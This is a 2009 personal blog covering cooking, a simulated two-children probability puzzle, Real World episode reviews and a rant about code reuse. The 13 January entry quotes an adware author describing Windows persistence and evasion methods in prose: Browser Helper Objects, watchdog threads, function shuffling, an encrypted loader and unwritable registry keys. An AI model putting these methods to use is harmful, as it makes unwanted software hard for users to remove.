Thursday, January 01, 2009
There was a large boom just outside the window … I suppose this means that 2008 finally went out with a bang. Or is that 2009 came in with a bang? In any case, there was much banging
Happy New Year!
It was quiet here at Chez Boca (notwithstanding the aforementioned banging outside the window). Bunny and I spent the evening making fresh ravioli (using the pasta machine she received as a gift) and then watching “Hancock” (an enjoyable flick and a rather refreshing take on the superhero genre).
The pasta was easy but a bit tedious and messy. The recipe for the pasta is easy enough—100g of flour (about ½ cup for the metrically challenged) and one egg per person, then mixed and kneaded into a dough (we did enough pasta for four people, and did the mixing in a food processor—total time, maybe 30 seconds). Then just feed the dough through the pasta machine, a few times on the widest setting, then start cranking it down to make it thinner.
This, by far, was the longest step in the process, mostly because this was the first time either one of us has ever made fresh pasta. The recipe we were following came from Jamie Oliver and on his show he had the pasta made and cut in like two minutes flat.
But he's a professional—we're not. So it took a bit longer—say, twenty-two minutes (getting used to fresh pasta dough, the pasta machine, etc).
Once that was done, we used a ravioli cutter that Bunny had—a two piece affair. You lay a strip of pasta over the lower section:
Then you press this dimpled shaped upper section into the dough, which forms the depressions, which you then spoon the filling into (in this case, it's fresh mozzarella, fresh basil and some tomato sauce).
Brush some water around the edges (to act as a kind of glue), drape another piece of pasta, and use a roller to seal and cut the raviolis. Then pop them out of the frame, and cook for five minutes in boiling water.
I personally was curious about the cutting attachment, so with the scraps of pasta, I made some spaghetti.
I'm sure with practice, it'll go quicker.
And not quite as messy.
Hmm … if I'm not careful, this might turn into a cooking blog [not that there's anything wrong with that! —Editor].
Friday, January 02, 2009
“A chubby man with a white beard and a red suit will approach you soon. Avoid him. He's a Commie.”
On Christmas Eve, Bunny and I attended a Christmas Party thrown by one of her friends. At the party, the kids were all excited that NORAD was giving real time updates to his location. I for one, had never heard of this, and I found it fascinating that NORAD even did this (but really, given the title to this post, maybe it's not all that far-fetched).
Even more amazing, they've been doing this since 1955 all because of a newspaper misprint …
Cavity searches, long delays and now this? What? Does the airline industry have a death wish or something?
As you head off on your Thanksgiving travels this week and prepare to pay airline baggage fees, you may wonder what it actually costs the airline to fly your 40-pound suitcase.
Based on our own estimate derived from consultations with industry executives and other sources, the cost to carry checked luggage comes to roughly $15 a bag. That, it turns out, is what most big airlines—including AMR Corp.'s American Airlines and Continental Airlines Inc.—are charging fliers to check their first bag. But those who check multiple bags, ski equipment or oversized or overweight luggage are paying much, much more—allowing airlines to make a tidy profit. In those instances, baggage fees may yield more profit for the airline than what the carrier is making on the basic passenger ticket.
Airlines don't break out the expense of transporting passenger baggage, and they are tight-lipped about baggage because they know many customers are angry about the new fees. Airlines aren't always so opaque when it comes to their cost data—American once famously counted the savings from removing olives from salads. But, several airlines contacted declined to discuss breakdowns of baggage costs; some were downright defensive.
Via Kilroy's Links, What It Costs to Fly Your Luggage - WSJ.com
Back before deregulation, the airlines could really only compete on service, not price. And the service was fantastic back then. Comfy chairs, decent food, lovely beverages and you weren't packed like cattle on a train. Since then however, airlines are fiercely competing on price and now the chairs are smaller, the food is a joke, you might get a complementary beverage and forget the snacks.
And now this.
What next? Charge per pound of passenger?
Saturday, January 03, 2009
I, for one, welcome our new cute baby overlords …
Even though he was born a day or two after Christmas, I wanted to get Smirk's and Ms. Smirk's permission before posting this picture of their new son, E (and their photos as well, all taken by the lovely and talented Bunny).
And just to answer the inevitable question—no, I did not hold him.
Sunday, January 04, 2009
But … but … but … it's Europe! And here I thought we were just the greedy ones …
The fuel-economy rules apply equally to foreign brands, of course, some of which also specialize in big, powerful vehicles. But they afford themselves an out. BMW paid $230 million in CAFE fines from 1983 to 2007 to avoid building small cars at a loss to please Washington. Volvo paid $56 million. Daimler paid $55 million.
Why don't the Big Three take this out? Explains the Government Accountability Office, because they fear the political repercussions of being tagged with “unlawful conduct.”
…
This year, Daimler paid one of the biggest CAFE fines ever, $30 million—or $118 per car, a pittance to Mercedes buyers. By dumping Chrysler, meanwhile, it avoided its share of an estimated $100 billion in unremunerative investments the Big Three will have to make to meet the new fuel-mileage rules.
Via Instapundit, Let Detroit Build Profitable Cars - WSJ.com
You don't say …
I really didn't realize that foreign car manufacturers paid the fines for selling gas guzzling cars in our market, but The Big Three™ didn't even bother to make marketable cars for fear of being called bad names.
I don't know what this says of The Big Three™, the foreign car manufacturers, or our own consumer driven demand for large cars …
Monday, January 05, 2009
1/2 of a 2/3 spherical cow …
Today's post is a simple question.
Let's say, hypothetically speaking, you met someone who told you they had two children, and one of them is a girl. What are the odds that person has a boy and a girl?
Consider your answer carefully, without doing a web search, or reading the comments to this post. Don't cheat—but be prepared to explain your reasoning, because the solution might surprise you.
It's almost like some kind of conspiracy or something.
Coding Horror: The Problem of the Unfinished Game
That, and the follow-up post, plus a few threads on various commentary sites can be summed up with the following result:
The odds are 1/2, except, of course, when it's 2/3.
A lot of virtual ink has been spilled over this, but I think I have this down now. I wrote a program to simulate this problem and doing so has clarified the result (nothing like picking a few million pairs of virtual kids and seeing actual numbers).
It goes like this. Assume a spherical cow … oh wait, wrong problem. Assume an even 50% chance of having a boy or a girl. Take 100 families with two kids. There are four cases to contend with, boy/boy (25%, or 25 out of a 100 families), boy/girl (25%, or again, 25 out of 100 families), girl/boy (25%) and girl/girl (the remaining 25%). But in three of the four cases (75%) there is at least one girl. And out of those 75 families, 50 of them (or 66% of 75, or 2/3) will have a boy.
And thus, that's how we end up with 1/2 of a 2/3 spherical cow.
Tuesday, January 06, 2009
Thars hills in them thar wind
The wind, I expected. Every weather forcast for South Florida reads the same:
Lows in the high 70s, highs in the high 80s. Partly cloudy with a 20% chance of scattered showers. Winds NE at 15 knots; seas 1-3 feet with a light to moderate chop.
But I didn't expect the hills.
Yes, there appear to be hills here in Lower Sheol. And for land that until a century ago was swamp, it sure is hilly around Chez Boca.
And speaking of spherical cows …
Michele Allen, 32, will spend the next month in jail after admitting to a wild drunken weekend dressed in this silly cow outfit, said Middletown, Ohio, authorities.
…
While at work Saturday evening, Allen hit the sauce hard and then stumbled into the streets—blocking traffic and chasing kids, said Police Major Mark Hoffman.
Allen also urinated in a nearby yard during the drunken grazing, cops said.
…
Despite having two nights to sober up, Allen was in a foul mood Monday, yelling at jailers.
“She was challenging people to 'suck her udders,' ” Hoffman said. “I'm not joking.”
Via kires, MICHELE ALLEN BUSTED IN COW OUTFIT—New York Post
I think, given the facts, that the jokes just write themselves in this case.
Parents of mixed kids
As I was writing about the two kids problem, I realized I could have used Smirk as an example, seeing how he has a new kid and all, but unfortunately, I mentioned that his new kid was a boy, thus making the chances of his other kid being a girl 50% (the reason: because you know yet more information in this case than just one of his kids is a boy—you know that his youngest is a boy, which removes both the girl/girl combination and boy/girl combination, leaving just the girl/boy and boy/boy, for a 50% chance of guessing correctly).
And even so, I doubt it would have been a good example anyway, as he now has two boys.
And now that I think about it, my friend Lorie has two daughters (a 50/50 chance [inside joke between the two of us –Sean]; Spring has two boys, my friend Ken has two daughters, and my friend Hoade has two daughters as well.
The only friend I can think of right now that has mixed kids is Bill, and he had, in order, four boys and two girls.
Heck, I can't think of anyone I know that has one boy and one girl.
I wonder what the odds of that are …
Wednesday, January 07, 2009
The Real World vs. “The Real World”
I remember watching the first season of MTV's The Real World. I had just moved out for the first time and the apartment I shared with my two friends actually had cable.
Cable!
Okay, basic cable, but cable nonetheless.
And in between gorging out on music videos and Liquid Television was this odd soap operaesque show of a bunch of twenty-somethings thrown into a condo in Manhattan. I found it oddly compelling and watched the the following season.
I stopped watching it after that though, due to a variety of reasons (moving back home, losing interest, etc).
So I was rather surprised to learn that a friend of mine, Katelynn, was going to appear on season 21 of “The Real World”. My first thought was Cool! followed by that show is still on the air?
I first met Katelynn a few years ago through Spring, as they both worked for Negiyo. I found her to be quite the geek, deep into martial arts and rather cute (and I still find her attractive even though I know she wasn't always a she—and she's not the only transsexual person I know, but that's another post).
So it'll be interesting to see how they edit the show to portray Katelynn. It's also wierd to think that “The Real World” is now old enough to vote and drink. Where did the time go?
MTV's The Real World: “The Ryan & Chet Show, starring Katelynn”
So.
MTV's “The Real World.”
As the introductory episode, our cast is presented for the first time; my gut reaction to each member as they're introduced:
- Ryan
- Small town soldier with average intelligence; he can play the guitar but could use some singing lessons, but he should not give up his day job. He's not much better at the lyrics either.
- Katelynn
- Pretty much the Katelynn I know, although she comes across a bit more reserved, a bit more mature and not quite as wild as I remember.
- Chet
- Ah, Chet. Tight clothes. Purples and pinks. Yeah, I totally believe you're a straight-laced Mormon and not a closetted raging homosexual (not that there's anything wrong with that). That you make your own clothes is just icing on the cake. No really! I believe you!
- Devyn
- My, what … large tracks of … land you have! And no question at all that she's won a few pageants. Wow.
- Baya
- Cute, but the dancing reminds me of the type of dancing Elizabeth Berkley has done. But I believe her when she says she's not Mormon.
- Sarah
- Okay, it's clear that none of these people aren't hansome, beautiful or cute. But, come on … a former lesbian who's found “love-forevah!” with a man? Isn't that a cliché? A man's “wishful thinking”? Especially for a girl from San Francisco? Sigh.
- JD
- Nice enough guy. Seems straightforward, but isn't straight at all. And a dolphin trainer. Pretty cool, being a tutor to heir apparent of the throne of France at age 22.
- Scott
- Beefcake. 2% body fat and six-pack abs to die for.
<sarcasm>
I hate him already.</sarcasm>
Could be straight. Could be gay. Hard to say—we'll have to see how this plays out (and it's clear that the majority of the cast is in lust with him).
I'm not sure how much control Katelynn (or any of the “cast”) had over their protrayals, or even the opening introductory segments, but for Katelynn, I think it would have been dramatically better for her transgender status to come out later in the series and not blown right up front. Then again, given the publicity of the show so far, perhaps the producers knew they couldn't keep this a secret, so let the audience in on her status early.
Anyway, while this show was ostensibly to introduce us to the eight
contestants member cast, the show really ended up being the
“Ryan & Chet Show, starring Kaytelynn.” Ryan was determined to figure
out what exactly, was “up” with Katelynn (apparently when filming started,
no one else knew she was transgendered), and Chet, naïve Mormonnite
that he is, appeared totally enthralled with Ryan and his wonderful singing
(I swear, Chet is so deep in the closet it's a surprise he's not in Narnia
by now).
They both come across as insensitive clods; perhaps the producers playing up their provincial upbringing? In any case, as presented, I don't care for either of them (neither does Bunny, who suffered through the show to watch our friend Katelynn).
The rest of the cast don't get as much character development. JD does reveal he's gay to Ray and Chet, and when he takes Katelynn out to dinner she reveals to him that she's transgendered (he took her out to make her feel more welcome, being a bit of an outsider himself). But that's about as much character development as we get from the “Ryan & Chet Show starring Katelynn.” But there's still eleven weeks to go.
MTV's The Real World: After Dinner Mints
After the “Ryan & Chet Show, starring Kaytelynn” MTV had a half-hour special where, not terribly surprising, they interviewed Ryan, Chet and Katelynn about the season opener. Katelynn was open about her experiences and came across as being very professional and cool. Ryan did apologize for his “I know why [JD]'s taking it to dinner” remark (which Katelynn accepted) and Chet is still working his way back from Narnia.
And unfortunately, we were subjected to not only Ryan's singing yet again, but everybody singing. There's a reason I don't like karaoke and this was a prime example of why.
Thursday, January 08, 2009
The return of Yorick and Lego trains were never sold here
- First Clown
- A pestilence on him for a mad rouge! a' pour'd a
flagon of Rhenish on my head once. This same
skull, sir, was Yorick's skull, the king's jester.- Hamlet
- This?
- First Clown
- E'en that.
- Hamlet
- Let me see. [Takes the skull.]—Alas poor Yorick!
—I knew him, Horatio: a fellow of infinite jest,
of most excellent fancy: he hath borne me on his
back a thousand times; and now, how abhorred
in my imagination it is! My gorge rises at it. Here
hung whose lips that I have kist I know not how
oft. Where be your gibes now? your gambols?
your songs? your flashes of merriment, that were
wont to set the table on a roar? Not one now, to
mock your own grinning? quite chop-faln? Now
get you to my lady's chamber, and tell her, let
her paint an inch thick, to this favour she must
come; make her laugh at that.Hamlet, Act V, scene I
Back fifteen years ago one of the decorations in “my office” was a real sized replica of a human skull (and an incredible faithful replica it was too!) and it ended up sitting on top of my computer (a full tower—sitting on what little space the 21″ monitor and full-sized keyboard didn't consume) for about four to five years. I mentioned this to Bunny a few weeks back, and lo' today I stumbled across an almost real sized replica of a human skull, thanks to Bunny.
Nowadays, the tower-sized computer can fit under the desk, and there's a bit of room left after two monitors and a full-sized keyboard and speakers.
Sure, it cuts into some desk space for reference materials, but I think I can work around poor Yorick.
And incredibly enough, 50 Years Of The Lego Brick also showed up at the doorstep today, also courtesy of Bunny (how odd … I wonder why … ). It's an incredible book about the history of those little plastic bricks known as Lego, along with reproductions of past catalogs and six red bricks that can be combined in 915,103,765 different ways. I didn't realize that the founder of Lego, Ole Kirk Kristiansen, was a carpenter who made wood toys (and after his shop burned down three times, finally gave up wood for all plastic bricks). And XXXXXX they never sold the train sets over here in the States! (sigh)
Friday, January 09, 2009
1/2 a girl vs. 2/3 a boy; or—I suck at stats
Listen, here's the thing. If you can't spot the sucker in the first half hour at the table, then you are the sucker.
Back in my college days, I was invited to a poker game, and I'm sure by sheer coincidence, the said day just happened to be pay day. Now, while I knew (and still know) what the various hands are (“flush”—five cards of the same suit, “full house”—three of a kind with a pair, “royal flush”—the ace, king, queen, jack and 10 of a single suit, etc), I didn't know (and still don't) the ranking of the hands—which hands won over which hands. I was assured that wouldn't matter and that I could have a “cheat sheet.” So I arrive at the game with a huge pocket full of money and an attitude of “how hard can this be?” Said attitude was reinforced as I won a few early rounds.
The end of the night came with the end of my money.
I learned two lessons that night:
- Never, ever play poker again, and
- I am bad at statistics.
While the first lesson sunk in (and to this day, I haven't played a game of poker, so my record stands at a rather dismal 0–1) I forgot the second lesson—that I suck at statistics.
Monday, I wrote about pairs of kids and the odds of a particular pairing, given some information.
Let's say, hypothetically speaking, you met someone who told you they had two children, and one of them is a girl. What are the odds that person has a boy and a girl?
Coding Horror: The Problem of the Unfinished Game
I read the explanation for the 2/3 results, said “Okay, I can see that,” accepted it as gospel and went about my business, which involved me going back and forth with someone over this issue, with both of us firm on our respective view points (me: 2/3; Vorlath: 1/2).
Wanting to settle this once and for all, I wrote a very verbose program (it's written for clarity, not to be fast or anything—this is a very tricky problem and yes, the program is verbose) that picks a bazillion pairs of kids and brute forces the results so that I can figure out who's right and who's wrong.
Value | Percentage | |
---|---|---|
Total # of kids | 20000000 | 100.0 |
Boys | 10002254 | 50.0 |
Girls | 9997746 | 50.0 |
I ran this program for 10,000,000 pairs. 20,000,000 virtual kids were created for this. 50% boys, 50% girls. No controversy here.
Value | Percentage | |
---|---|---|
Total # of pairs | 10000000 | 100.0 |
Boy/Boy | 2501203 | 25.0 |
Boy/Girl | 2499753 | 25.0 |
Girl/Boy | 2500095 | 25.0 |
Girl/Girl | 2498949 | 25.0 |
At least one Boy | 7501051 | 75.0 |
At least one Girl | 7498797 | 75.0 |
Again, nothing unexpected here either. Four possible pairings, 25% of each pairing. 75% of the pairings will have at least one girl, and 75% will have at least one boy. Again, straight from the numbers. So far, so good.
Value | Percentage | |
---|---|---|
Total # of pairs | 10000000 | 100.0 |
Disclosed First Kid | 5000671 | 50.0 |
Disclosed Second Kid | 4999329 | 50.0 |
Disclosed Girl | 4999440 | 50.0 |
Disclosed Boy | 5000560 | 50.0 |
Nothing seems wrong here; half the kids being disclosed are the first ones; independently, half of the kids being disclosed are boys. But there is a problem here, but for now, I'll leave it to the reader to spot the issue (and it is an issue with this problem). I didn't spot the problem until later myself.
Value | Percentage | |
---|---|---|
Disclosed Girl | 4999440 | 100.0 |
First kid | 2499547 | 50.0 |
Second kid | 2499893 | 50.0 |
Disclosed Girl, other girl | 2498949 | 50.0 |
First kid | 1249211 | 25.0 |
Second kid | 1249738 | 25.0 |
Disclosed Girl, other boy | 2500491 | 50.0 |
First kid | 1250336 | 25.0 |
Second kid | 1249738 | 25.0 |
Disclosed Girl, pick girl, correct | 2498949 | 50.0 |
First kid | 1249211 | 25.0 |
Second kid | 1249738 | 25.0 |
Disclosed Girl, pick girl, wrong | 2500491 | 50.0 |
First kid | 1250336 | 25.0 |
Second kid | 1250155 | 25.0 |
Disclosed Girl, pick boy, correct | 2500491 | 50.0 |
First kid | 1250336 | 25.0 |
Second kid | 1250155 | 25.0 |
Disclosed Girl, pick boy, wrong | 2498949 | 50.0 |
First kid | 1249211 | 25.0 |
Second kid | 1249738 | 25.0 |
[The first three lines of this particular table can be read as:
- a girl was disclosed
- the disclosed girl was the first kid in the pair
- the disclosed girl was the second kid in the pair
The line labeled “Disclosed Girl, pick girl, correct” can be read as: a girl was disclosed, we picked the other kid as being a girl, and we were correct.” —Editor]
Well … XXXX! I was wrong! The odds are 50/50. I was all set to start posting this when I noticed Vorlath conceeding the 2/3 position on this follow- up post.
I must have missed something in the program.
Okay, what if I exclude from consideration the boy/boy pairs entirely? How do the odds change then? One two-line patch later and …
Value | Percentage | |
---|---|---|
Total # of kids | 15000398 | 100.0 |
Boys | 4998619 | 33.3 |
Girls | 10001779 | 66.7 |
Okay, numbers are 75% of what we had … so far so good.
Value | Percentage | |
---|---|---|
Total # of pairs | 7500199 | 100.0 |
Boy/Boy | 0 | 0.0 |
Boy/Girl | 2500052 | 33.3 |
Girl/Boy | 2498567 | 33.3 |
Girl/Girl | 2501580 | 33.4 |
At least one Boy | 4998619 | 66.6 |
At least one Girl | 7500199 | 100.0 |
Yes, that's what would be expected by dropping a quarter of all pairings.
Value | Percentage | |
---|---|---|
Total # of pairs | 7500199 | 100.0 |
Disclosed First Kid | 3750492 | 50.0 |
Disclosed Second Kid | 3749707 | 50.0 |
Disclosed Girl | 5002113 | 66.7 |
Disclosed Boy | 2498086 | 33.3 |
Value | Percentage | |
---|---|---|
Disclosed Girl | 5002113 | 100.0 |
First kid | 2500888 | 50.0 |
Second kid | 2501225 | 50.0 |
Disclosed Girl, other girl | 2501580 | 50.0 |
First kid | 1250803 | 25.0 |
Second kid | 1250777 | 25.0 |
Disclosed Girl, other boy | 2500533 | 50.0 |
First kid | 1250085 | 25.0 |
Second kid | 1250777 | 25.0 |
Disclosed Girl, pick girl, correct | 2501580 | 50.0 |
First kid | 1250803 | 25.0 |
Second kid | 1250777 | 25.0 |
Disclosed Girl, pick girl, wrong | 2500533 | 50.0 |
First kid | 1250085 | 25.0 |
Second kid | 1250448 | 25.0 |
Disclosed Girl, pick boy, correct | 2500533 | 50.0 |
First kid | 1250085 | 25.0 |
Second kid | 1250448 | 25.0 |
Disclosed Girl, pick boy, wrong | 2501580 | 50.0 |
First kid | 1250803 | 25.0 |
Second kid | 1250777 | 25.0 |
And it's still 50/50! Am I missing anything else?
Okay, re-read even more comments and looking closer at the original problem statment:
Let's say, hypothetically speaking, you met someone who told you they had two children, and one of them is a girl. What are the odds that person has a boy and a girl?
Coding Horror: The Problem of the Unfinished Game
Oh, there's an unstated assumption going on—namely, what gender the hypothetically speaking parent will reveal! So far, I've had the hypothetically speaking parent disclosing a randomly picked child (first or second), which could be either a girl or a boy. Add some more lines to force the child to be disclosed as a girl (if there is a girl) and …
Value | Percentage | |
---|---|---|
Disclosed Girl | 7500174 | 100.0 |
First kid | 4999692 | 66.7 |
Second kid | 2500482 | 33.3 |
Disclosed Girl, other girl | 2501019 | 33.3 |
First kid | 2501019 | 33.3 |
Second kid | 0 | 0.0 |
Disclosed Girl, other boy | 4999155 | 66.7 |
First kid | 2498673 | 33.3 |
Second kid | 0 | 0.0 |
Disclosed Girl, pick girl, correct | 2501019 | 33.3 |
First kid | 2501019 | 33.3 |
Second kid | 0 | 0.0 |
Disclosed Girl, pick girl, wrong | 4999155 | 66.7 |
First kid | 2498673 | 33.3 |
Second kid | 2500482 | 33.3 |
Disclosed Girl, pick boy, correct | 4999155 | 66.7 |
First kid | 2498673 | 33.3 |
Second kid | 2500482 | 33.3 |
Disclosed Girl, pick boy, wrong | 2501019 | 33.3 |
First kid | 2501019 | 33.3 |
Second kid | 0 | 0.0 |
That's what I'm looking for! That's the unstated assumption being made by the 2/3 camp! And my original summation of the whole problem: “The odds are 1/2, except, of course, when it's 2/3,” is correct (so to speak).
Sheesh!
So, I suck at statistics, and statistical word problems are hard to write properly.
And now I can put this problem to rest.
Monday, January 12, 2009
… and after nobody noticed, Atlas took his toys and went home.
I know some of the people reading this have read Atlas Shrugged; even fewer have read Anthem (and fewer still are actually fans of Ms. Rand, but I digress), but this is something I never realized about the two books:
I don't know how many of you realize that Atlas Shrugged, Ayn Rand's science fiction classic, is actually only book 1 of a trilogy? Hardly anybody knows this, because she never got around to writing the missing middle volume. She wrote book 1 in the series. She wrote book 3 in the series, but didn't explicitly label it a sequel to Atlas Shrugged, she and her agent marketed it as a stand-alone volume. She never got around to writing the middle volume that bridges the two. It's probably because she found it too depressing, the way that Heinlein never got around to writing The Stone Pillow, the missing volume in the Future History series that comes between “All You Zombies” and “If This Goes On.”
The Infamous Brad—Atlas Shrugged 2: Shrug Harder
Interesting. And it makes sense (then again, so does this, but again, I'm digressing).
If only it were true
Atlas Shrugged 2: Shrug Harder really existed … [sorry if that last sentance wasn't clear —
Editor]
Tuesday, January 13, 2009
Ah, so that's why it's so hard to clean a Windows box
M: Yes. I should probably first speak about how adware works. Most adware targets Internet Explorer (IE) users because obviously they're the biggest share of the market. In addition, they tend to be the less-savvy chunk of the market. If you're using IE, then either you don't care or you don't know about all the vulnerabilities that IE has.
IE has a mechanism called a Browser Helper Object (BHO) which is basically a gob of executable code that gets informed of web requests as they're going …
If you also have an installer, a little executable, you can make a Registry entry and every time this thing reboots, the installer will check to make sure the BHO is there …
The next thing … I did … was make a poller which continuously polls about every 10 seconds or so to see if the BHO was there and alive …
Next we made a function shuffler, which would go into an executable, take the functions and randomly shuffle them …
We then made a bootstrapper, which was a tiny tiny piece of code written in Assembler which would decrypt the executable in memory, and then just run it …
So we've progressed now from having just a Registry key entry, to having an executable, to having a randomly-named executable, to having an executable which is shuffled around a little bit on each machine, to one that's encrypted—really more just obfuscated—to an executable that doesn't even run as an executable. It runs merely as a series of threads. Now, those threads can communicate with one another, they would check to make sure that the BHO was there and up, and that the whatever other software we had was also up.
…
We did create unwritable registry keys and file names, by exploiting an “impedance mismatch” between the Win32 API and the NT API …
We also wrote a device driver and then a printer driver. When you write a device driver you get to do all sorts of crazy things …
There was also of course Scheme. Eventually, we got sick of writing a new C program every time we wanted to go kick somebody off of a machine. Everybody said, “What we need is something configurable.” I said, “Let's install a Turing-complete language,” and for that I used tinyScheme, which is a BSD licensed, very small, very fast implementation of Scheme that can be compiled down into about a 20K executable if you know what you're doing. Eventually, instead of writing individual executables every time a worm came out, I would just write some Scheme code, put that up on the server, and then immediately all sorts of things would go dark. It amounted to a distributed code war on a 4-10 million-node network.
S: In your professional opinion, how can people avoid adware?
M: Um, run UNIX.
Via Flutterby, philosecurity » Blog Archive » Interview with an Adware Author
Sorry for the long quote here, but just reading through what this adware programmer was able to do to under Windows is just stunning. Because of what this programmer was able to do, I'm half in awe (like splitting a program to run parastically among other processes) and half in horror (because there's no single “process” to kill).
Wow …
Wednesday, January 14, 2009
Katelynn wasn't my first transgendered friend
My first real experience with transsexuality happened in late 1999. I flew up to Boston to visit G & E, a couple I knew in college (said trip was also the impetus for the name of this journal, but that's another story) and one evening, both G & E approached with perhaps the four most dreaded words in our language: “We have to talk.”
The “talk,” as it turned out, was G coming out to me as a transsexual. At the time, G had just started undergoing hormone treatment and counseling so G still looked pretty much like I always knew G, so it was a bit of a shock to find a friend of mine who've I known for (at that time) seven years was no longer a “he” but a “she.”
At the end of the revelation, G asked if I had any questions.
I thought for a few moments. I've always been a “live and let live” type of guy and as long as what you do doesn't hurt anyone and everyone involved is of legal age and consents, so be it. If G feels better as a woman than a man, okay. I didn't feel it was my place to ask why, and having just started, the when was still a ways off. Their Bostonian friends were cool with this. In the end, I asked the only question that I felt I could ask: “So, are you changing your name?” (answer: no. G kept her birth name; and I still sometimes think of G as “he”—old habits die hard. Katelynn I have always thought of as a “she” but it was easier since I've only known her as a “she”)
I also thought, Cool! Two women who are legally married!
MTVs The Real World: “The Baya & Chet Show, starring JD”
Show numero dos and today's episode is “The Baya & Chet Show, starring JD.”
Let's see … we have Baya nervous about an audition for a hiphop dance troop, dance at the audition, leave disappointed and yet, when she finds out she made the cut—turns it down. During the audition it was clear that she wasn't quite ready for what it takes for hiphop dancing (Bunny remarked that Baya was in “the real world” only afterwards did she realize that Baya hit the real world on “The Real World”—it was cute). JD later introduces her to a well known dance instructor he knows so she can continue to become the dancer she wants to become.
And Chet. In private correspondance, Katelynn assured me that yes, Chet is indeed straight. Despite the tight purple clothes and eyeliner, he's all man. I'm just going to have to accept that, since Katelynn knows him more than I do, but he just pegs my gaydar.
Anyway, his Mom and three or four sisters (lost count) all show up to visit him. His Mom is supportive of him, loves JD (and asks him to watch out for her son) but hates the eyeliner. As Bunny said: “Look at all the women he grew up with—no wonder he's the way he is!”
JD is quite racist when drunk, which Chet didn't care for. JD may also be a mean drunk, but fortunately things didn't get that bad. Yet. We'll see.
Ryan is still coming across as a complete jerk, first by pranking JD, then getting very upset when kissed on the lips by a transvestite at a gay bar (what was he expecting?). He's not coming across as very likeable.
There wasn't much about Katelynn this week. She, Sarah and Baya attended an African Dance class and well … Katelynn wasn't very graceful (sorry Katelynn, but Bunny observed that the way men's shoulders are developed it's very hard to perform a particular arm movement used in that type of dancing). Katelynn said as much, so it's not like I'm saying anything she doesn't know already.
Not much characterization for the rest of the cast, but I'm sure their time will come soon enough.
Some predictions: Devyn (of the large … tracts of land) and Scott (of the 2% body fat and six-pack abs to die for) become an item; Baya and Ryan become an item.
Monday, January 19, 2009
An illformed rant at the back of my mind
I've been using Flickr as a source of stock photography for a while now, so even at the outset of this experiment, I knew two important things that not everybody realizes yet: (1) There's no longer any point in taking snapshots of places and things; someone's already taken exactly the picture you want to take. The lighting's just like it would be in your photo. The subject is just as out of focus and just as poorly framed as if you'd have taken the picture yourself. Even the people are the same: their friends look just like your friends. (2) There's not just one photo like the one you would've taken yourself had you remembered to take your camera with you and charge its batteries. There are many photos like the one you would've taken yourself. Many, many photos. Not one. Not ten. More. A lot more.
Via 0xDECAFBAD, Do Tags Work?
Another epiphany, which means I'm subjecting you to another rambling post to explain why I'm not giving up yet on photography.
One of the Holy Grails™ of Computer Science I was taught was the reuse of
existing code. “Thou shalt not reinvent the wheel,” was the mantra, but
really, until perhaps the mid-90s (well after Linus Torvalds went ahead and
reinvented the wheel Unix) such advice was routinely ignored
(otherwise, Linux wouldn't exist, now would it?) and then, apparently, the
hammering of that mantra got harder and harder until now, well …
“I think I'll write a newsreader!”
Stop. Stop right there. I have a suggestion that will save you a lot of time: Go to a movie. Rent a video. Volunteer with a local first-aid squad. Feed the homeless. Make a sandwich, walk onto the street and when you see a homeless person say, “HERE!” Just do anything other than write a newsreader. There are enough already. We should have started neutering newsreader authors a long time ago.
I wouldn't write my own editor until I had learned all three of those editors. After that … I still wouldn't write my own editor. ;) Spend your energy on a problem that urgently needs solving.
Hacker News | Ask HN: IDE versus Text Editor?
Awesome, now somebody go back in time 3 months and release this so I could have not spent that time writing the same thing (okay, not exactly the same, mine isn't nearly as pluggable).
Hacker News | Awesome, now somebody go back in time 3 months and release this so I could have …
There's no room for Not Invented Here syndrome in open source software development. When you let NIH get in the way of doing the right thing, you're not doing open source development any longer.
Not Invented Here has no place in open source development | IT Security | TechRepublic.com
“not invented here syndrome”.
Whenever starting anything new, I'm going to look for an appropriate framework or module before giving up and trying to do it myself.
MattHucke comments on Ask Proggit: What old programming habit are you going to lose this year?
And before you know it, n o one will be writing new code anymore.
Everything that can be invented has been invented.
Charles H. Duell, US Commissioner of Patents, 1899.
Why should they (we)? It all exists, or wait long enough, and some
sucker someone else will write it (thank you, lazy web).
And this bugs me. It bugs me that new programmers are coerced by peer pressure into not writing code. Why is it so wrong for a programmer to attempt to write their own editor instead of trying to work with Emacs? (In my mind, attempting to write an editor may give said programmer a better appreciation of what Emacs can actually do; or maybe the programmer will come up with a better interface, one that doesn't induce carpal tunnel syndrome)
But even worse, this mentality creeps into many programmers, causing them to give up their own programs. There are a few programmers who's blogs/journals I follow that at one time used their own software to maintain their website, but gave up. Just stopped using their own software and instead switched over to some other popular package (like Moveable Type or WordPress). And honestly, I don't understand why. Did they drink the Kool-Aid of code reuse? Did they switch for some feature but were too lazy to implement it? (and end up with unused features that might be exploited?) Because all the “cool kids” were using it? They're afraid of being ganged up on for writing new code? Or some other reason?
Perhaps I'm scared that programming will (is?) turn (turning?) more into “glue this code to that code” and less a creative endeavour? Should I just give up and only use existing code because everything that's been written has been written and stop wasting time “reinventing the wheel?”
And therein lies my epiphany—that to most programmers, everything that has been written, has been written, so stop writing new code! Leave that to the large professional teams. Besides, any code I write is going to be buggy. My time would be better spent just gluing bits of existing code together, or debugging already existing code.
And by the way, I should toss out my digital camera because any potential picture I would want to take has already been taken.
…
Yeah, like that's going to happen.
Tuesday, January 20, 2009
Love the idea, but I don't trust just anyone …
Imagine if you had access to all your stuff, everywhere …
That's what ZumoDrive does. Just install ZumoDrive on each device, and it's like all your stuff is on all of them. Plus it's all backed up. Laptop stolen? Don't worry, just install ZumoDrive, and your files will be restored in minutes.
ZumoDrive - Hybrid Cloud storage for all your documents and media
This is something I've been doing readily since 1992 (out of my office at FAU) and while it wasn't always easy to dial into the school network (and I let the department in charge of the dial-up modems know exactly how I felt about them, but that, as they say, is another post) I did have remote access to most of what I needed.
It's something that's hard to comprehend unless you experience it.
So in theory, I have no problem at all with “Cloud Computing.” But companies like Zumodrive, Dropbox and even Google scare me.
Why? Because I care about my data.
This is about your data. This is about your work. This is about you using your time so that you make things and work on things and you trust a location to do “the rest” and guess what, here is what we have learned:
- If you lose your shit, the technogeeks will not help you. They will giggle at you and make fun of your not understanding the fundamental principles and engineering of client-server models. This is kind of like firemen sitting around giggling at you because you weren't aware of the inherent lightning-strike danger of improperly bonded CSST.
- Since the dawn of time, companies have hired people whose entire job is to tell you everything is all right and you can completely trust them and the company is as stable as a rock, and to do so until they, themselves are fired because the company is out of business.
- You are going to have to sit down and ask yourself some very tough questions because the time where you could get away without asking very tough questions with regard to your online presence and data are gone.
